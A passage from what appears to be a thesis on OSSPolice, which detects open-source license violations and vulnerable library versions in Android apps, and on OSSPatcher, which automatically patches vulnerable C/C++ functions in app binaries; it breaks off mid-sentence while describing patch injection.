License Compliance. OSSPOLICE focuses only on the technical aspects of license

compliance engineering, such as OSS reuse detection, checking for a license copy in app

installation package, and validating hosted source code. Therefore, only statistical evidence

indicating potential license violation is reported to further help the app developers quickly

identify true violations, but no concrete proof or legal conclusions are derived from the

collected evidence. The reasons for this design choice are manyfold. First, several OSS

are available under a dual license. Therefore, an app containing the OSS could be a case

of legitimate use. Second, OSSPOLICE may fail to correctly detect source weblinks for an

app because the current design only inspects app description and corresponding developer

website for weblinks pointing to popular source code hosting services, such as GitHub and

Bitbucket, as an indicator of open-sourcing. Furthermore, app developers may also choose

to generate source code links dynamically in the app or simply host outside the checked

open-source links.

App Obfuscation and Optimization. OSSPOLICE is designed to be resilient against

simple and common app obfuscation techniques, such as identifier renaming in Java classes.

However, advanced obfuscation may alter or even destroy features in app binaries. For

example, string encryption will render all string constants in a binary ineffective for similarity

comparison. Nevertheless, such techniques are generally used by malware writers to

evade detection and are not common for benign apps because of their additional runtime

overhead (e.g., encryption/decryption). However, should this become a problem, advanced
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obfuscation-resilient similarity detection mechanisms, such as data-dependence [30] or

program-dependence [46] graph comparison can be used at the cost of higher consumption

of system resources (CPU, memory, etc.) and search time.

To optimize their apps for size and faster loading, app developers may further remove

unused OSS code or hide functions in native libraries, thereby reducing the size of the symbol

table. OSSPOLICE may either fail to detect OSS in such libraries or report inaccurate results

because of lack of enough syntactical features. While we found only 11.6% cases of such

libraries (§2.3.3), we believe the system accuracy can be improved by augmenting with

semantic features, such as control flow [28, 29] at the cost of increased detection time.

Version Pinpointing. It is possible that OSS source code might have very minimal changes

across two releases. Given no unique features can be used to distinguish these versions,

OSSPOLICE will return a sorted list of matched versions based on NormScore (§2.3.4.4).

We believe that OSSPOLICE has achieved reasonable coverage because 83% of C/C++ and

41% of Java OSS versions can be uniquely identified using current features in OSSPOLICE.

However, should this becomes an issue, OSSPOLICE can be plugged in to use fine-grained

function-level features (e.g., intra-procedural graph) to further distinguish these versions.

More Programming Languages. OSSPOLICE currently supports only Java and C/C++-

based OSS repos and app binaries because of their popularity. However, we are also aware

that mobile apps nowadays use a more diverse set of programming languages. For example,

apps built by PhoneGap [100] and Corona[101] tend to rely on many JavaScript and Lua

libraries. We leave the support for these programming languages for future work.

2.8 Summary

In this chapter, we presented OSSPOLICE, the first large-scale tool for mobile app developers

to identify potential open-source license violations and 1-day security risks in their apps.

OSSPOLICE taps into the structured and modularized layout of OSS sources and introduces

hierarchical indexing scheme to achieve high efficiency and accuracy in comparing app
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binaries with hundreds of thousands of OSS sources (billions of lines of code). We applied

OSSPOLICE to analyze 1.6M free Google Play Store apps and found that over 40K apps

potentially violated GPL/AGPL licensing terms, and over 100K apps use known vulnerable

versions of OSS. OSSPOLICE can also be deployed by app stores, such as Google Play

Store to check and notify app developers of potential licensing issues and security risks

in their apps and enforce policies. Source code of OSSPOLICE is available on GitHub

(https://github.com/lingfennan/osspolice).
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Algorithm 1 Pseudo code for hierarchical indexing algorithm
1: procedure INDEXREPO(repoRoot, repoInfo)
2: file2Features← ∅

3: for file ∈ repoRoot do
4: file2Features[file] ← ClangParser(file)
5: path2Id← ∅

6: dir2Features← ∅

7: dir2Children← ∅

8: for (file, features) ∈ file2Features do
9: path2Id[file] ← Simhash(features)

10: for feat ∈ features do
11: UpdateIndexDB(MD5(feat), path2Id[file])
12: UpdateVersionDB(features, repoInfo)
13: child← file
14: while child ≠ repoRoot do
15: parent← parentof(child)
16: dir2Features[parent].add(features)
17: dir2Children[parent].add(child)
18: child← parent

19: for (dir, features) ∈ dir2Features do
20: path2Id[dir] ← Simhash(features)
21: IndexDir(repoRoot, dir2Children, path2Id)
22: AddMappingToDB(path2Id[repoRoot], repoInfo)

23: procedure INDEXDIR(dir, dir2Children, path2Id)
24: children← dir2Children[dir]
25: for child ∈ children do
26: if ¬IsIndexed(child) then
27: IndexDir(child, dir2Children, path2Id)
28: else
29: UpdateIndexDB(path2Id[child], path2Id[dir])
30: procedure UPDATEINDEXDB(f, n)
31: parents′ ← GetParentsFromDB(f)
32: if sizeof(parents′) ≥ TNp then
33: continue
34: if ∀n′ ∈ parents′ ∶H(n,n′) ≥D then
35: AddMappingToDB(f, n)
36: AddMappingToDB(n, f)
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Algorithm 2 Pseudo code for hierarchical matching algorithm
1: procedure MATCHBINARY(binary)
2: features← ElfParser(binary)
3: repos← ∅

4: while sizeof(features) > 0 do
5: parents← GetParentsFromDB(features)
6: for p ∈ parents do
7: if IsMatchingRepo(p) then
8: repos.add(p)

9: p2Children← ∅

10: for p ∈ parents do
11: p2Children[p] ← GetChildrenFromDB(p)
12: p2NormScore← ∅

13: p2CumScore← ∅

14: for (p, children) ∈ p2Children do
15: p2NormScore[p] ← NormScore(p, children)
16: p2CumScore[p] ← CumScore(p, children)
17: features← ∅

18: for p ∈ parents do
19: if ¬MatchingRules(p) then
20: continue
21: ns← p2NormScore[p]
22: cs← p2CumScore[p]
23: if ns ≥ TNormScore ∧ cs ≥ TCumScore then
24: features.add(p)

25: versions← SearchVersionDB(repos, features)
26: return repos, versions
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CHAPTER 3

AUTOMATING PATCHING OF VULNERABLE OPEN-SOURCE SOFTWARE

VERSIONS IN APPLICATION BINARIES

3.1 Motivation

It is a common practice for software developers to use well-adapted third-party libraries

to accelerate the application development process. These third-party libraries, like any

traditional software, contain implementation bugs that are found by security researchers.

Large open-source libraries have active developers who support, maintain, and occasionally

fix software bugs. Unfortunately, mobile application developers who rely on these libraries

must remain vigilant of bug disclosures affecting their application.

Mobile application developers must track third-party libraries, maintain awareness of dis-

closed bugs, apply patches while ensuring backward compatibility, and test for unintended

side-effects. For the Android platform, Google has initiated the App Security Improve-

ment Program (ASIP) [12] to notify developers of vulnerable third-party libraries in use.

Unfortunately, many developers, as OSSPolice [1] and LibScout [21] show, do not update

or patch their application, which leaves end-users exposed. Android developers mainly

use Java and C/C++ [102] libraries. While Derr et al. [103] show that vulnerable Java

libraries can be fixed by library-level update, their C/C++ counterparts, which contain many

more documented security bugs in the National Vulnerability Database (NVD), are still not

addressed. There are ample efforts to secure mobile platforms and applications through

automated patching, but they are limited by the type of bugs and availability of compiled

patches. For example, PatchDroid [104] relies on the availability of a compiled patch, which

is applied in-memory dynamically. Similarly, techniques for platforms like Docker [105]

and Android OS [106] also rely on compiled patches. Other approaches [107, 108] are
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limited to a specific type of bugs, such as buffer overflow. Some approaches [109, 110,

111, 112] assume that debugging symbols and build configuration options for compiled

applications are readily available, where in reality they are not.

A more effective approach would automatically patch from source code, where patches

to OSS are readily available. There are several challenges to patching from source code,

such as identifying build configuration for the target applications, matching source code

to binary code for missing debug symbols, and addressing statically linked libraries. In

addition to these challenges, automatic patching might introduce unintended side-effects

that hinder the target mobile application. Based on a recent OSS study by Li et al. [113], the

security patches that are applied to a vulnerable code base are localized and are limited in

their side-effect, unlike non-security patches. This insight implies that automatic mobile

application patching for security-related bugs may be an attainable effort.

To this end, we propose a novel technique to automatically patch vulnerable mobile

applications from the source code provided by the effected OSS libraries. Our approach is a

layered pipeline that builds function-level binary patches from source code and performs

in-memory patching on vulnerable mobile applications. To address source code patch

generation challenges, we perform a feasibility analysis to identify function-level patches,

then build a variability-aware abstract syntax tree (VAST) to enable further analysis. Using

the VAST, we map function addresses and identify build configurations for the target library

in the mobile application. We then compile only the patched vulnerable functions from the

source code using the derived build configurations. Additionally, we overcome in-memory

patching challenges with statically linked libraries using a rerouting approach to ensure

the mobile application remains functional. We implement these innovative techniques in a

system we call OSSPATCHER.

To evaluate our source-code-to-binary-code matching algorithms, we prepare a labeled

dataset and show that OSSPATCHER can identify function addresses and build config-

uration with 82% recall and 95% precision. We apply OSSPATCHER on 39 OSS and
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identify 675 feasible patches. We use these patches to fix 1,000 affected Android ap-

plications. OSSPATCHER performs in-memory patching and incurs negligible memory

and performance overhead, demonstrating the practicality of our system. Further, we

test OSSPATCHER capabilities on 10 vulnerabilities with public exploits and show that

exploitation of the affected mobile applications is no longer possible.

3.2 Challenges

OSSPATCHER faces several challenges when automating patching of vulnerable OSS ver-

sions in application binaries without developers’ involvement. We present them along with

a real-world patch for CVE-2014-3509 of OpenSSL shown in Listing 3.1.

1 @@ static int ssl_scan_serverhello_tlsext(SSL *s, ...

2 #ifndef OPENSSL_NO_EC

3 ...

4 *al = TLS1_AD_DECODE_ERROR;

5 return 0;

6 }

7 - s->session->tlsext_ecpointformatlist_length = 0;

8 - if (s->session->tlsext_ecpointformatlist != NULL)

9 - OPENSSL_free(s->session->tlsext_ecpointformatlist);

10 + if (!s->hit)

11 {

12 ...

13 + s->session->tlsext_ecpointformatlist_length

14 + = ecpointformatlist_length;

15 + memcpy(s->session->tlsext_ecpointformatlist ,

16 + sdata, ecpointformatlist_length);

17 }

18 - s->session->tlsext_ecpointformatlist_length

19 - = ecpointformatlist_length;

20 - memcpy(s->session->tlsext_ecpointformatlist ,

21 - sdata, ecpointformatlist_length);

22 ...

23 #endif

Listing 3.1: Source patch for CVE-2014-3509 of OpenSSL.
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3.2.1 Configurable OSS Variants

For the purpose of portability in different deployment platforms and configurations, software

product line engineering provides efficient means to implement variable software. By

selecting from a set of features, a developer can generate different software variants from

a common product-line implementation. C/C++ OSS employs this technique to allow

developers to configure OSS for their own use. We refer to such configurations as variability.

Variability in C/C++ OSS is achieved using conditional directives (e.g., #ifdef, #ifndef,

#if) to selectively compile certain parts of source code, or through a build system (e.g.,

kconfig [114] for building the Linux kernel) to selectively compile certain source files.

The number of variants could be exponential to the number of features. For instance,

the recent OpenSSL stable release (version 1.1.0h), contains more than 160 preprocessor-

based configuration options for enabling/disabling various ciphers, algorithms and protocol

extensions, from which countless variants could exist.

However, this variability causes challenges for automatic binary patching because the

patching needs to identify the variant and follow the same variant as before in building the

patch otherwise it can break the functionality of the application. Although we have access

to the source of the to-be-patched function, the patch target is closed-source binary software,

so before OSSPATCHER builds the patched function from the open-source code, we need to

first figure out the configuration options that were used in the original building of the software

and enforce the same in building the patch. For example, the vulnerable code in Listing 3.1 is

enabled only if the macro OPENSSL_NO_EC is not defined, which requires OSSPATCHER to

infer value of OPENSSL_NO_EC. Moreover, the function ssl_scan_serverhello_tlsext

contains 5 conditional macros (i.e., 32 function variants), which if ignored may lead to

vulnerability identification failures and disruption to the patches.

To reverse-engineer OSS feature configs previously used by app developers, one can

either compile all variants of the OSS and perform binary-to-binary analysis, or perform

variability-aware source-to-binary analysis. Since the former does not scale due to the
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exponential number of OSS variants with regard to features, OSSPATCHER adopts the latter

solution, i.e., builds VAST for OSS and performs source-to-binary analysis (§3.3.3).

3.2.2 Statically Linked Binaries

The build dependencies between the app and OSS sources blur their boundaries, which

increases the difficulty of patching the desired library. For example, several C/C++ native

libraries can be statically linked to a single library first, then finally linked to the application.

Due to the blurred boundary of libraries in such cases, it is hard to pinpoint the original

vulnerable library if we would perform library-level patching. In addition, proprietary code

can also be statically linked into these libraries, which further adds to the complexity of

reverse engineering library boundaries. In such multi-binary files, features across multiple

library components are effectively fused into a superset and boundaries among them are

hard to be identified.

In the case of statically linked binaries, individual vulnerable libraries cannot be upgraded

without replacing all their embracing libraries, which requires more fine-grained patching

schemes. Based on the observation that security fixes are localized and small [109, 113],

OSSPATCHER performs function-level patching, instead of library-level. Our key idea is

to identify the function boundary, rather than library boundary, and replace vulnerable

functions with patched ones.

3.2.3 Stripped Binaries

Stripped builds raise significant challenges in designing a patching system for application

binaries. Currently, both major kernel [109, 110, 111] and userspace [104] patching solutions

use symbols to locate vulnerable functions. However, a recent study [1] shows that 98.9% of

native libraries in Android apps are stripped and only exported symbols (non-static) remain

to allow other programs to link to them dynamically. Other symbols, such as static functions

and variables, are not visible and thus require extra efforts to locate them. Moreover, even
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non-static symbols can be hidden when app developers statically link multiple libraries

together. This happens when the option -fvisibility=hidden is used during compilation.

To work with stripped binaries, OSSPATCHER performs a series of matching analyses to

identify the location of the vulnerable function in the application binary (§3.3.2), so it

can perform in-memory patching against it. In fact, we can choose either in-memory

patching or binary rewriting for our purpose. We apply in-memory patching in our current

implementation because it allows safe reversion of the patch on exception and helps in

debugging.

3.3 Design

3.3.1 Goals and Assumptions

We envision OSSPATCHER as an automated system that fixes n-day OSS vulnerabilities in

app binaries using publicly available source patches. As mentioned in §3.2, OSSPATCHER

must consider OSS variants and perform function-level matching with no access to debug-

ging symbols in app binaries. While prototyping OSSPATCHER, we focused on fixing uses

of vulnerable OSS written in C/C++ for Android apps, but the design is generic and also

applies to other Linux-based apps and programming languages, such as Java. OSSPATCHER

consists of two modules that are deployed separately: server that automatically adapts and

compiles source patches for app binaries containing vulnerable OSS versions, and client

that downloads and applies binary patches to installed applications.

OSSPATCHER assumes that sources of apps are not publicly available, and that de-

velopers compile OSS directly from their release versions without tampering with OSS

source code. OSSPATCHER also assumes that information from NVD, such as the specified

vulnerable versions and the corresponding patching commits are accurate1. To this end, we

set the following goals:

1 Patch analysis tools such as UCKLEE [115] or regression tests can be used to further validate correctness
of patches. We consider testing of publicly known patches orthogonal to OSSPATCHER.
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• OSSPATCHER can accurately identify vulnerable functions and its patch-related

config options for patching.

• OSSPATCHER can automatically generate binary patches and perform non-disruptive

patch injection.

The workflow of OSSPATCHER is depicted in Figure 3.1. To meet the aforementioned

goals, we have designed three major components in OSSPATCHER: Analyzer, Matcher

and Patcher. Analyzer analyzes source patches for their feasibility and converts vulnerable

functions that can be patched into VAST. Matcher performs variability-aware source-to-

binary comparison to identify function addresses, config options, and variable addresses.

Patcher generates patched libraries from source patches and performs in-memory patch

injection. The rest of this section elaborates these components.

3.3.2 Feasibility Analysis

In this work, we focus only on automatically applying patches where source code changes are

contained entirely within functions. We believe this choice does not affect the effectiveness

of OSSPATCHER as many security patches are small and localized according to a recent

study [113], and thus can be handled by OSSPATCHER. Furthermore, this is similar in

scope to previous major patching systems, including Ksplice [109], Karma [111] and

PatchDroid [104]. Therefore, the first step in our feasibility analysis is to determine whether

the OSS patch can be successfully applied by OSSPATCHER. This process filters out the

non-localized patches with large range of code changes (e.g., change to a struct definition).

As reported in §3.5, OSSPATCHER can handle over 60% of all OSS patches we crawled

from public OSS repos.

A naive approach to check if modifications are solely inside a function would be to use

regular expressions to identify functions in source files and compare their source ranges

against code changes in patches. But this can be error-prone because of comments and

preprocessor directives [116]. Thus, we designed a systematic feasibility analyzer to perform
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multi-pass source range analysis. Given an OSS patch commit, we parse the affected files

using the default config. Since the source code is conditionally compiled, some parts

may be skipped due to compile-time options (e.g., define), we therefore collect semantic

information as well as skipped source ranges. If code changes in patches do not overlap with

skipped source ranges, we then check if they are inside functions to report feasibility. If code

changes are inside skipped source ranges, we use our SMT-based expression analyzer to find

a config combination that enables the skipped ranges and re-parse source files. Finally, we

apply the qualified patches to old versions and ensure that they are compatible by performing

several checks, such as patch context matching and function signature verification. We break

feasibility analysis into three relatively independent tasks, namely, source range analysis,

expression analysis and version analysis, and describe them in the following.

Source Range Analysis. The source range analysis finds the semantic context for code

changes in a patch, based on which we determine whether the patch is feasible or not.

Specifically, we consider the following change types and their combinations as feasible: 1)

add, remove, or modify functions, 2) add, remove, or modify comments and empty lines, 3)

add or remove extern entries, macro definitions, structs, and inclusion directives. However,

this list is preliminary, and other types can be incrementally added as needed. For example,

LibPNG patch 188eb6b for CVE-2010-1205 adds several typedef entries to update versions

in addition to function-level changes. Since typedef statements do not change program

semantics and can be ignored, 188eb6b should be considered as a feasible patch, though

currently classified as infeasible.

To perform source range analysis, OSSPATCHER first clones the OSS and checks

out a patch commit. Since the exponential amount of OSS variants inhibit brute-force

approaches §3.2.1, OSSPATCHER starts from any one of the many OSS variants, collects

skipped source ranges, and builds the corresponding AST. OSSPATCHER then checks

semantic context for code changes in patches to decide feasibility. If changes are inside

skipped source ranges, OSSPATCHER performs expression analysis to enable such ranges
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and invokes source range analysis again to decide their feasibility.

Expression Analysis. Conditional preprocessor directives are used in OSS to enable/dis-

able certain parts of source code. We refer to conditions in these directives as expressions. If

code changes in patches overlap with skipped source ranges, we need to find out a configu-

ration to enable skipped parts for further source range analysis. Nevertheless, expressions in

conditional directives such as #if and #elif can be very complex. For example, Listing 3.2

shows an expression in LibPNG which uses 9 macros. According to the C Preprocessor

standard [117], expression is a C expression of integer type, and may contain integer con-

stants, character constants, arithmetic operators, identifiers and macro calls. Intuitively,

existing compiler frameworks such as LLVM [118] and GCC [119] should be able to analyze

expressions. However, we found that they are designed to speed up the build process; the

expressions evaluated as false are simply skipped and not analyzed further. For example,

if PNG_FLOATING_POINT_SUPPORTED in Listing 3.2 is not defined, compilers consider the

expression as false and skip the rest. Consequently, a LLVM plugin will not emit details

needed by OSSPATCHER.

1 #if defined(PNG_FLOATING_POINT_SUPPORTED) && \\

2 !defined(PNG_FIXED_POINT_MACRO_SUPPORTED) && \\

3 (defined(PNG_gAMA_SUPPORTED) || \\

4 defined(PNG_cHRM_SUPPORTED) || \\

5 defined(PNG_sCAL_SUPPORTED) || \\

6 defined(PNG_READ_BACKGROUND_SUPPORTED) || \\

7 defined(PNG_READ_RGB_TO_GRAY_SUPPORTED)) || \\

8 (defined(PNG_sCAL_SUPPORTED) && \\

9 defined(PNG_FLOATING_ARITHMETIC_SUPPORTED))

Listing 3.2: An expression used in LibPNG.

We, therefore, design an analyzer to analyze expressions and solve them using a sat-

isfiability modulo theories (SMT) solver. The analyzer performs lexing and parsing to

generate AST from expressions, which is similar to simple calculators, except for support of

macro calls and undefined variables. It then converts AST into intermediate code, resolves
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macro calls using collected macro definitions and symbolizes variables using CVC4 SMT

solver [120]. During symbolization, defined is a reserved function that checks if a variable

(macro) is defined or not, and imposes an implicit constraint that a variable can not have a

value unless defined. To interpret this constraint, we create a boolean symbol to represent

whether a variable is defined or not and add a constraint that if a variable is not defined,

then its value is invalid (NaN). For example, expression defined(FOO) && FOO > 5 is

interpreted as:

FOOdefined ∧ FOO > 5 ∧ ¬FOOdefined Ô⇒ FOO = NaN

In addition, since conditional directives can be nested, our expression analyzer also supports

constraint concatenation. We run the analyzer on Listing 3.2 and present one solution in

Listing 3.3. The solution is represented as #define and #undef directives and can be used

to enable skipped source ranges. OSSPATCHER then invokes source range analysis to parse

source files and check whether code changes are feasible.

1 #undef PNG_FIXED_POINT_MACRO_SUPPORTED

2 #undef PNG_FLOATING_ARITHMETIC_SUPPORTED

3 #undef PNG_READ_BACKGROUND_SUPPORTED

4 #undef PNG_cHRM_SUPPORTED

5 #undef PNG_gAMA_SUPPORTED

6 #undef PNG_sCAL_SUPPORTED

7 #define PNG_FLOATING_POINT_SUPPORTED

8 #define PNG_READ_RGB_TO_GRAY_SUPPORTED

Listing 3.3: A solution to the expression in Listing 3.2.

Version Analysis. OSSPATCHER also needs to check whether the source patch changes

are compatible with old vulnerable OSS versions. Patches generated by git [121] use the

unified diff format [122], which provides metadata, such as changed lines, files, and context

lines around these changes. While applying patches, context lines are used to identify

locations of changes. If context does not match, patches are rejected. For example, the 4-6

lines in Listing 3.1 are context lines. The default number of context lines is 3. However,
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context matching may not be sufficient for function-level patching, since patches may use

modified or even new structures and functions.

Therefore, our version analyzer checks for the following properties: 1) context lines

match, 2) argument types and return types of functions are the same, 3) The referenced data

structures and function signatures are the same. To perform version analysis, we first run

git apply to apply patches to vulnerable versions. We then parse patched files into an

AST and check for these properties. If code changes in vulnerable functions overlap with

skipped source ranges, expression analysis is performed to ensure that skipped parts do not

violate these properties.

If a patch passes feasibility analysis for a version, we consider it as feasible for this

version. For example, the OpenSSL patch in Listing 3.1 is feasible for 29 out of 31 vulnerable

versions.

#ifdef A 

#define X 4 

#else 

#define X 5 

#endif 

2*3+X

TypeChef

Lexer
2 · ∗ · 3 · + · 4A · 5¬A

TypeChef

Parser

+

*

5432

!A

Figure 3.2: Variability lexing and parsing using TypeChef.

3.3.3 Variability Analysis

Since app developers may use different OSS variants, OSSPATCHER must correctly infer

config options that are related to vulnerable functions — to generate correct binary patch

using the same config. Although our feasibility analysis (§3.3.2) can track variability inside

vulnerable functions, it cannot reason about variability outside. For example, a function may

reference a data structure which contains a field with variable type (i.e., type int if macro

INT32 is defined, o.w. type char). In this case, the value of INT32 is important since it

results in different binary layout and offsets.

TypeChef [123] tackles this problem by proposing a variability-aware lexer and parser to
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build variability-aware AST (VAST). Figure 3.2 shows the workflow of TypeChef. Nodes in

VAST, such as functions, strings, or expressions, are correlated with conditions that enable

them. TypeChef has been successfully applied to OpenSSL and Linux to find type errors

in untested config combinations [124, 125]. OSSPATCHER leverages TypeChef to parse

OSS into VAST to allow config inference based on app binaries. Nevertheless, TypeChef

is not automated and requires manual inputs for its analysis of software, namely separate

lists containing platform-dependent headers, open features, and partial configurations,

respectively. Platform headers refer to architecture or operating system related macros, such

as __x86_64 and __linux. These headers are easy to derive since they are uniquely defined

for each platform. Open features include configurable features that developers can choose to

enable or disable using configure script (e.g., condition A in Figure 3.2) Whereas, partial

configuration list contains non-configurable macros with their predefined (fixed) values.

Partial configuration must also contain rules to avoid conflicts (e.g., two mutually exclusive

macros that cannot be enabled together).

To automatically generate such input lists, we implement pre-analysis steps: open feature

analysis and partial config analysis.

Open Feature Analysis. TypeChef has a different goal; it has been designed to check

for incompatible types and developer errors in untested config combinations [124, 125].

To do that TypeChef builds VAST from all source files and enumerates combinations of

macro values to check for type errors. In contrast, OSSPATCHER cares only about changed

files and included headers and uses VAST for config inference. Since conditional directives

are evaluated by the preprocessor to selectively enable code blocks, we therefore design

a Clang-based analyzer that only performs preprocessing and collects expressions used

by conditional directives in source files and include headers. We also recursively collect

expressions from skipped code blocks. Collected expressions are then parsed by our

expression analyzer (§3.3.2) to extract conditional macros. These macros form the open

feature input required by TypeChef.
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Partial Config Analysis. Apart from conditional directives, macros are used to set

certain OSS attributes, such as timeout or version string. In addition, certain combinations

of features are not allowed and may result in a failure of VAST generation since they

are syntactically or semantically incorrect. For example, no-ssl3 is forced if no-sha

is specified in OpenSSL, because SSLv3 uses hashing algorithms internally. TypeChef

requires this information to generate VAST. KConfigReader [126] is proposed to extract

such information from the Linux kconfig [114] build system. However, this method is

not applicable to the GNU build system [127], which is adopted by many OSS projects.

Therefore, we build a tool that collects macro definitions and taps into configure scripts to

extract constraints among features. Although our partial config analysis is not complete and

may still miss constraints embedded in Makefile or other parts of source code, we find the

two analyzers greatly reduce the preparation time of TypeChef inputs.

3.3.4 Source vs Binary Matching

Patching app binaries at the function level requires locating vulnerable functions, inferring

config options, and fixing external references. To achieve these tasks, we design three

independent modules: function matching, config inference, and variable matching. Function

matching identifies addresses of vulnerable functions and their external function references.

Config inference finds out how vulnerable functions are compiled from the source code

and generates a config combination for accurate reproduction. Variable matching identifies

external variable references in vulnerable functions. Since app binaries are stripped (§3.2.3),

OSSPATCHER should leverage features available in both source code and binaries for

source-to-binary comparison. We start with describing the feature extraction process.

Feature Extraction. For source files, we parse their VAST to extract syntactic and semantic

features, such as string literals, constants, function calls, and global variable uses along

with variability information. We choose simple syntactic and semantic features because,

besides being available in compiled binaries, these features are resilient against common
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compiler optimizations and easy to extract. In contrast, control-flow based features are much

harder to define and extract, due to the presence of optional nodes in VAST (i.e. node 3A in

Figure 3.2).

For binary files, we perform a symbolic summarization of each function present in the

binary using an integration of static analysis and symbolic execution based on Angr [128].

Specifically, we conduct a multi-path exploration of each function with the goal of discover-

ing references to a set of predetermined features, including strings, constants, functions, and

external variables. Our approach of using per-function symbolic summarization to extract

features is quite scalable (more so than whole binary exploration) because our multi-path

exploration technique is limited to each function. We do not execute function calls within the

function being explored, nor do we execute system or API calls. We just focus on extracting

all relevant feature references within one function at a time.

Function Matching. To locate vulnerable functions in libraries, we leverages features from

VAST and check if they are present in binaries. When searching for vulnerable functions,

we mark them as optional since the corresponding file may not be compiled, and different

parts in these functions can also be optional due to conditional directives. We start matching

by first searching for function names in the dynamic symbol table. If names are present,

we report matched addresses. Otherwise, we describe candidate functions by reference/call

relationship but include optional VAST nodes. We then use Angr to summarize the binary

functions and compare with source functions to identify the closest matches. The above

algorithm works well if there are abundant syntactic and semantic features in vulnerable

functions. To backup this assumption, we show in §3.5.1 that vulnerable functions of most

OSS have on average more than 100 lines of code. In addition to vulnerable functions, we

also match large functions in binaries to facilitate config inference.

Config Inference. To allow reproduction of vulnerable functions with the same configu-

ration, we check for the presence of variability-related features in binaries and solve their

conditions to infer values of config options. The key idea is to identify features that are corre-
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lated with config options. As shown in Figure 3.3, we start by collecting config options to be

inferred in the VAST of vulnerable functions. Followed by checking if each of these config

options are correlated with syntactic and semantic features in the vulnerable functions. For

example, option OPENSSL_NO_EC is correlated with function reference OPENSSL_malloc

in Listing 3.1. Since some options may not enclose syntactic and semantic features in

vulnerable functions, we also check other matched large functions during function matching.

We then check for the presence of these features in binary functions and generate constraints

based on the mapping from features to expressions of config options. These constraints are

solved using a SMT solver to find the corresponding configuration.

#ifdef A 

#define X “hello” 

#else 

#define X “world” 

#endif 

void vuln_func {

#ifdef B

    foo(X);

#endif    

}

vuln_func:

foo(B)

“hello”(B&A)

“world”(B&¬A)

vuln_func:

foo, “world”

B = 1

B&¬A = 1

A = 0

B = 1

App Binaries

Figure 3.3: Explanation of the config inference algorithm.

Variable Matching. Similar to function matching, exported variables can be matched

by looking up the dynamic symbol table. The case of one hidden variable can also be

exclusively matched. However, matching multiple hidden variables becomes challenging

due to a lack of enclosed features, which is quite different from matching hidden functions

which contain rich features. We solve this challenge by correlating variable references with

syntactic and semantic features in the program dependency graph of vulnerable functions.

We first compile vulnerable functions into binaries using config options inferred in config

inference. We then perform foward and backward slicing for external variable references in

the program dependency graph to identify features related to each reference in compiled
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binaries. We consider these features as a description of the variables and use them to match

external variable references.

1 FITS_FILE *fits_open (const char *filename, ...) {

2 ...

3 if (sizeof (float) == 4)

4 {

5 fits_ieee32_intel = (op32[3] == 0x3f);

6 fits_ieee32_motorola = (op32[0] == 0x3f);

7 }

8 if (sizeof (double) == 8)

9 {

10 fits_ieee64_intel = (op64[7] == 0x3f);

11 fits_ieee64_motorola = (op64[0] == 0x3f);

12 }

Listing 3.4: An example of static variable usage in GIMP.

For example, Listing 3.4 shows a function fits_open from GIMP, which uses four static

variables, including fits_ieee64_intel and fits_ieee64_motorola. After program

slicing and feature extraction, we can identify that each of these variables are associated

with different constants. For example, fits_ieee64_intel is tied with constant 7 in data

flow and 8 in control flow. In contrast, fits_ieee64_motorola is tied to 0 and 8. These

features can be used to differentiate these four variables in stripped binaries.

3.3.5 Patch Generation and Injection

Once feasible source patches are matched to the app binaries, OSSPATCHER compiles

the patched functions and injects them into the vulnerable apps. To make OSSPATCHER

practical and portable for various Android systems, we try to minimize runtime overhead and

avoid changing the Android system. Inspired by PatchDroid [104], we design OSSPATCHER

to perform in-memory patching at the start of app launching. However, we argue that

binary rewriting [129, 107] and hot-patching at runtime [109, 110, 111] are also good

patching techniques and leave their implementation as future work. To minimize changes to

vulnerable apps during patching, OSSPATCHER slices out vulnerable functions into separate
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files and compiles them into shared libraries. OSSPATCHER then injects the libraries into

vulnerable processes and reroutes vulnerable functions to call patched ones in the injected

libraries.

Since vulnerable functions can refer to other functions or variables, OSSPATCHER needs

to fill in the references to point to the correct memory locations in app binaries. PatchDroid

modifies GOT entries to reroute vulnerable functions to patched functions and doesn’t address

the cases where these functions reference the original app binaries, which is not suitable in

OSSPATCHER. Normally, external references of libraries are listed as undefined symbols

and resolved by the dynamic loader via checking dependent libraries at runtime. However,

since vulnerable functions can refer to hidden functions or variables, naive reliance on

library dependency does not work. We, therefore, investigate three approaches for fixing

external references. The first approach is to modify the dynamic loader to fix external

references while loading patch libraries. This design introduces changes to the system,

which we try to avoid and incurs overhead during the loading of all libraries. The second

approach is to hard-code reference addresses into libraries during compilation. But this

requires per-run adaption of libraries due to address space layout randomization (ASLR)

[130]. The third approach is to refactor source code to create stub functions and variables,

compile them as dependent stub libraries of patch libraries, and modify stub references to

correct locations. OSSPATCHER adopts the stub-based approach, since it avoids changes

to the Android system and per-run patch adaption. The workflow of patch generation and

injection is explained in Figure 3.4.

Patch Generation. As shown in Figure 3.4, OSSPATCHER generates two types of

source files which are further compiled into different shared libraries. This design allows

OSSPATCHER to fix references in patched functions and point them to correct locations.

Given addresses of vulnerable functions and their references identified by Matcher (§3.3.4),

we first check the visibility of references by inspecting the dynamic symbol table section

(.dynsym) in app binaries. For hidden function or variable references, which can be static
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example.c

static int svar=0;

int gvar=0;

static void sfunc() { … };

void gfunc() { … };

int vuln_func() {
  svar++; gvar++; …
  sfunc(); gfunc(); }

example_patch.c
extern int svar_stub;

extern int gvar;

extern void sfunc_stub();

extern void gfunc();

int patch_func() {
  svar_stub++; gvar++; …
  sfunc_stub(); gfunc(); }

example_stub.c
int svar_stub=-1;

void sfunc_stub () {}

example_patch.so

example_stub.so

Running Process

main-binary

example.so
vuln_func

Hidden
svar

sfunc

Exported
gvar

gfunc

2 3

4 5

1

Running Process

main-binary

example.so
vuln_func
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svar

sfunc
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gfunc

1

example_patch.so

patch_func

example_stub.so

svar_stub sfunc_stub

2

3

4

5

6

7 8

Figure 3.4: Workflow of patch generator and patch injector.

or non-static, we generate stubs for them and then invoke ClangMove [131], a tool which

is capable of moving various definitions, including functions, variables, and classes, from

one file into another, to move patched functions into patch files, and stub functions and

variables into stub files. We then compile a stub library out of stub files and a patch library

out of patch files, with dependencies to the stub library and original vulnerable libraries.

Since Android requires a special tool-chain to build binaries for ARM architecture, we

perform cross-compilation by setting CC or CXX to corresponding compilers from the An-

droid NDK [74] (e.g. arm-linux-androideabi-gcc). The two libraries comprise our

generated patch binaries.

Patch Injection. With generated stub libraries and patch libraries, OSSPATCHER performs

in-memory patching at the start of app. When an app is launched in Android, the app forks

the Zygote process, then loads native libraries through dlopen (which internally maps a

library into memory using the open and mmap system calls), and invokes its constructors.

OSSPATCHER identifies a time window where patching is most feasible using ptrace,

